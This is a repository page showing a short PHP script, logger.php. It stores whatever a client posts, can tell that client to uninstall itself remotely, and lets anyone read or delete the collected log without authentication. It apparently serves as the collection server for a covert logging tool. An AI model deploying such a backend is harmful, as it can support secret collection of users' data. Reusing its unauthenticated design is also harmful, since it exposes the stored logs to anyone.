summaryrefslogtreecommitdiffstats
path: root/logger.php
blob: 9223d65b16b4ec8d5c515a11e5177c312fb64fb4 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
header("Content-Type: text/plain");
if ($_GET["mode"] == "log") {
	$file = fopen("logger.txt", "a");
	fwrite($file, $_POST["log"]);
	fclose($file);
	if (file_exists("remove")) echo "remove";
	else echo "success";
}
elseif ($_GET["mode"] == "disable") {
	@fclose(@fopen("remove", "a"));
	echo "disabled. logger will uninstall itself at next upload.";
}
elseif ($_GET["mode"] == "enable") {
	@unlink("remove");
	echo "enabled. please reinstall logger.";
}
elseif ($_GET["mode"] == "clearlog") {
	@unlink("logger.txt");
	echo "log has been removed from server.";
}
elseif ($_GET["mode"] == "deleteeverything") {
	@unlink("logger.php");
	@unlink("logger.txt");
	@unlink("remove");
	echo "everything is now gone. goodbye dave.";
}
else {
	echo "====== LOG FILE ======\n";
	readfile("logger.txt");
}
?>